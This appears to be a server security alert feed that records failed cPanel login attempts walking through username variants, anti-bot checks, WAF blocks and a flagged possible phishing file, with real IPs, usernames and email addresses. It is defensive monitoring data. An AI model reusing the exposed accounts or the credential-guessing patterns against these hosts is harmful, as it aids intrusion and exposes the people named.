# incident

plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:12:03:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195865&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781611428 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.77.185.33
country_id: 2542007
description:
[2026-06-16 12:04:13 +0000] info [cpaneld] 196.77.185.33 - delxiatg "GET /login/?login_only=1&user=delxiatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delxiatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.68.23.230
country_id: 3686110
description:
[2026-06-16 12:04:14 +0000] info [cpaneld] 190.68.23.230 - delxiatg "GET /login/?login_only=1&user=delxiatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delxiatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.9.34.229
country_id: 1643084
description:
[2026-06-16 12:04:25 +0000] info [cpaneld] 182.9.34.229 - delx "GET /login/?login_only=1&user=delx&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delx (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.121
country_id: 6252001
description:
[2026-06-16 12:04:43 +0000] info [cpaneld] 134.195.83.121 NEW wcnyaruu:THnQUcWAptwkDoGA address=134.195.83.121,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.229
country_id: 6252001
description:
[2026-06-16 12:04:44 +0000] info [cpaneld] 107.174.169.229 NEW wcnyaruu:GvxTqzlLCM2nttQu address=107.174.169.229,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.207.188.29
country_id: 2363686
description:
41.207.188.29 - - [16/Jun/2026:12:05:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6918505&pdata=https%253A%252F%252Frelanceinfo.tg%252F%253Fp%253D1871&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781611509 HTTP/2.0" 302 0 relanceinfo.tg "https://relanceinfo.tg/?p=1871" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.207.188.29


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.196.255.37
country_id: 3625428
description:
[2026-06-16 12:04:22 +0000] info [cpaneld] 38.196.255.37 - del "GET /login/?login_only=1&user=del&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user del (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.142.154.186
country_id: 1733045
description:
[2026-06-16 12:04:28 +0000] info [cpaneld] 161.142.154.186 - de "GET /login/?login_only=1&user=de&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user de (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.48
country_id: 6252001
description:
205.169.39.48 - - [16/Jun/2026:12:06:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10275995%26pdata=http://mail.togoartconnection.tg%26id=7fa3b767c460b54a2be4d49030b349c7%26ts=1781611555 HTTP/1.1" 404 561 mail.togoartconnection.tg "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.48


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [16/Jun/2026:12:06:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10275995&pdata=http%253A%252F%252Fmail.togoartconnection.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781611555 HTTP/1.1" 302 0 mail.togoartconnection.tg "http://mail.togoartconnection.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 140.235.3.136
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:12-06.140.235.3.136||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 140.235.3.136
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:nkyjade648306||Email:jade_jade9@jimova.durovmail.cv||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.107.118.141
country_id: 2017370
description:
[2026-06-16 12:08:34 +0000] info [cpaneld] 91.107.118.141 - cf "GET /login/?login_only=1&user=cf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cf (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.70
country_id: 1814991
description:
27.115.124.70 - - [16/Jun/2026:12:09:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646678&pdata=https%253A%252F%252Fcloud-et-racks.tg%252Fwp-content%252Fplugins%252Fkk-star-ratings%252Ffreemius%252Ftemplates%252Fjs%252Finstall-feature.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781611748 HTTP/2.0" 302 0 cloud-et-racks.tg "https://cloud-et-racks.tg/wp-content/plugins/kk-star-ratings/freemius/templates/js/install-feature.php" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.70


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.180.149.174
country_id: 3469034
description:
[2026-06-16 12:08:26 +0000] info [cpaneld] 45.180.149.174 - cfmitg "GET /login/?login_only=1&user=cfmitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cfmitg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.85.37.80
country_id: 3469034
description:
[2026-06-16 12:08:32 +0000] info [cpaneld] 187.85.37.80 - cfm "GET /login/?login_only=1&user=cfm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cfm (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:12:11:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:12:11:07 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 83.70.219.20
country_id: 2963597
description:
[2026-06-16 12:12:10 +0000] info [cpaneld] 83.70.219.20 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.122.162
country_id: 2363686
description:
2026-06-16 12:12:02 dovecot_plain authenticator failed for H=([10.10.30.98]) [196.170.122.162]:47314: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.226.69.182
country_id: 3996063
description:
[2026-06-16 12:12:13 +0000] info [cpaneld] 189.226.69.182 - yanacom "GET /login/?login_only=1&user=yanacom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yanacom (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.236.107.19
country_id: 1210997
description:
103.236.107.19 - - [16/Jun/2026:12:11:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672546&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F03%252F09%252Fpage%252F2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781611895 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/03/09/page/2/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2281.1163 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.236.107.19


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.164.91.144
country_id: 6252001
description:
[2026-06-16 12:13:20 +0000] info [whostmgrd] 141.164.91.144 - masfloy "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.189.67.155
country_id: 3469034
description:
[2026-06-16 12:12:26 +0000] info [cpaneld] 179.189.67.155 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.137.205.18
country_id: 2264397
description:
[2026-06-16 12:12:30 +0000] info [cpaneld] 78.137.205.18 - yan "GET /login/?login_only=1&user=yan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yan (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.100.199.20
country_id: 289688
description:
[2026-06-16 12:12:33 +0000] info [cpaneld] 78.100.199.20 - ya "GET /login/?login_only=1&user=ya&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ya (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.252.141.4
country_id: 102358
description:
[2026-06-16 12:12:38 +0000] info [cpaneld] 51.252.141.4 - cecaptg "GET /login/?login_only=1&user=cecaptg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cecaptg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.102.17.4
country_id: 2017370
description:
[2026-06-16 12:12:45 +0000] info [cpaneld] 94.102.17.4 - cec "GET /login/?login_only=1&user=cec&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cec (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.5.44.231
country_id: 3895114
description:
[2026-06-16 12:12:49 +0000] info [cpaneld] 190.5.44.231 - ce "GET /login/?login_only=1&user=ce&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ce (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-16 12:12:54 +0000] info [webmaild] 160.242.195.10 - fkossivi@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-16 12:12:57 +0000] info [cpaneld] 160.242.195.10 NEW assedderetrm:0fGf1L3QfCQdDp0n address=160.242.195.10,app=cpaneld,creator=assedderetrm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 150.228.221.133
country_id: 1522867
description:
[2026-06-16 12:12:29 +0000] info [cpaneld] 150.228.221.133 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.42.240.206
country_id: 3932488
description:
[2026-06-16 12:12:35 +0000] info [cpaneld] 190.42.240.206 - ceca "GET /login/?login_only=1&user=ceca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ceca (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.113.119.13
country_id: 2921044
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:194.113.119.13||TA:194.113.119.13||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.171.82.254
country_id: 6252001
description:
[2026-06-16 12:15:04 +0000] info [whostmgrd] 192.171.82.254 - c1565738c "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.71.181
country_id: 3077311
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.252.71.181||TA:104.252.71.181||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.174.136.75
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:107.174.136.75||TA:107.174.136.75||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 23.236.179.133
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:23.236.179.133||TA:23.236.179.133||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [16/Jun/2026:12:16:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923182&pdata=http%253A%252F%252Fmail.togoartconnection.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612201 HTTP/1.1" 302 0 mail.togoartconnection.tg "http://mail.togoartconnection.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.203.154.121
country_id: 6251999
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:46.203.154.121||TA:46.203.154.121||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.175.119.44
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:107.175.119.44||TA:107.175.119.44||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.249.131.16
country_id: 2542007
description:
41.249.131.16 - - [16/Jun/2026:12:17:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080733&pdata=https%253A%252F%252Fcpanel.supermercandotogo.free.netmaster.tg%252F%253Flocale%253Dsv&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612220 HTTP/2.0" 302 0 cpanel.supermercandotogo.free.netmaster.tg "https://cpanel.supermercandotogo.free.netmaster.tg/?locale=sv" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.249.131.16


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.134.142.208
country_id: 3017382
description:
91.134.142.208 - - [16/Jun/2026:12:16:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13276105&pdata=https%253A%252F%252Fafrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612196 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/" "Mozilla/5.0 (iPad; CPU OS 26_5_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 YaBrowser/26.4.5.511.11 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.134.142.208


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.174.194.99
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:107.174.194.99||TA:107.174.194.99||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 191.96.170.111
country_id: 2658434
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:191.96.170.111||TA:191.96.170.111||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:12:18:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12752790&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612298 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 176.98.30.7
country_id: 690791
description:
176.98.30.7 - - [16/Jun/2026:12:18:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119369&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-un-presume-braqueur-neutralise-par-la-police-togolais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612286 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-un-presume-braqueur-neutralise-par-la-police-togolais/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.9042.1287 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.98.30.7


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:12:18:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974576&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612300 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [16/Jun/2026:12:19:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10264163&pdata=https%253A%252F%252Fsproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612347 HTTP/2.0" 302 0 sproca.tg "https://sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 158.62.209.82
country_id: 6252001
description:
[2026-06-16 12:19:29 +0000] info [whostmgrd] 158.62.209.82 - netmastersarl "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.24.105
country_id: 6252001
description:
47.251.24.105 - - [16/Jun/2026:12:19:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131608&pdata=http%253A%252F%252F154.70.82.244%253A2095%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612392 HTTP/1.1" 302 0 154.70.82.244 "http://154.70.82.244:2095/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.24.105


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.133.76
country_id: 2363686
description:
[2026-06-16 12:22:32 +0000] info [webmaild] 196.171.133.76 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.171.58.124] != Current IP Address [196.171.133.76]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.117.49.131
country_id: 2017370
description:
[2026-06-16 12:23:30 +0000] info [cpaneld] 87.117.49.131 - itstg "GET /login/?login_only=1&user=itstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user itstg (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.134.142.208
country_id: 3017382
description:
91.134.142.208 - - [16/Jun/2026:12:24:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9922411&pdata=https%253A%252F%252Fafrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612697 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/" "Mozilla/5.0 (iPad; CPU OS 26_5_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 YaBrowser/26.4.5.511.11 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.134.142.208


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 91.134.142.208
country_id: 3017382
description:
91.134.142.208 - - [16/Jun/2026:12:26:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13276105&pdata=https%253A%252F%252Fafrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612196 HTTP/2.0" 404 159 afrique-distribution.net "https://afrique-distribution.net/" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.134.142.208


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 45.237.57.100
country_id: 3469034
description:
45.237.57.100 - - [16/Jun/2026:12:26:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974576&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612300 HTTP/1.1" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.237.57.100


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.122.162
country_id: 2363686
description:
2026-06-16 12:27:34 dovecot_plain authenticator failed for H=([10.10.30.98]) [196.170.122.162]:41870: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.227.46.173
country_id: 2017370
description:
[2026-06-16 12:27:36 +0000] info [cpaneld] 5.227.46.173 - metaa "GET /login/?login_only=1&user=metaa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.64.173.162
country_id: 2017370
description:
[2026-06-16 12:27:38 +0000] info [cpaneld] 178.64.173.162 - meta "GET /login/?login_only=1&user=meta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user meta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.109.48.218
country_id: 2017370
description:
[2026-06-16 12:27:33 +0000] info [cpaneld] 89.109.48.218 - metaar "GET /login/?login_only=1&user=metaar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.158.250.112
country_id: 2400553
description:
[2026-06-16 12:27:22 +0000] info [cpaneld] 41.158.250.112 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 59.153.16.207
country_id: 1210997
description:
[2026-06-16 12:27:46 +0000] info [cpaneld] 59.153.16.207 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.67.38.175
country_id: 3469034
description:
[2026-06-16 12:27:41 +0000] info [cpaneld] 177.67.38.175 - met "GET /login/?login_only=1&user=met&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user met (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.86
country_id: 6252001
description:
[2026-06-16 12:28:18 +0000] info [cpaneld] 134.195.83.86 NEW ifxmoxbf:jvHkfVsqOzvpBxCn address=134.195.83.86,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.125
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.618070654511125.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 136.36.143.231
country_id: 6252001
description:
136.36.143.231 - - [16/Jun/2026:12:28:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10144363&pdata=https%253A%252F%252Fafrique-distribution.net%252Fgh%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781612929 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/gh/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:136.36.143.231


plugin: ossec
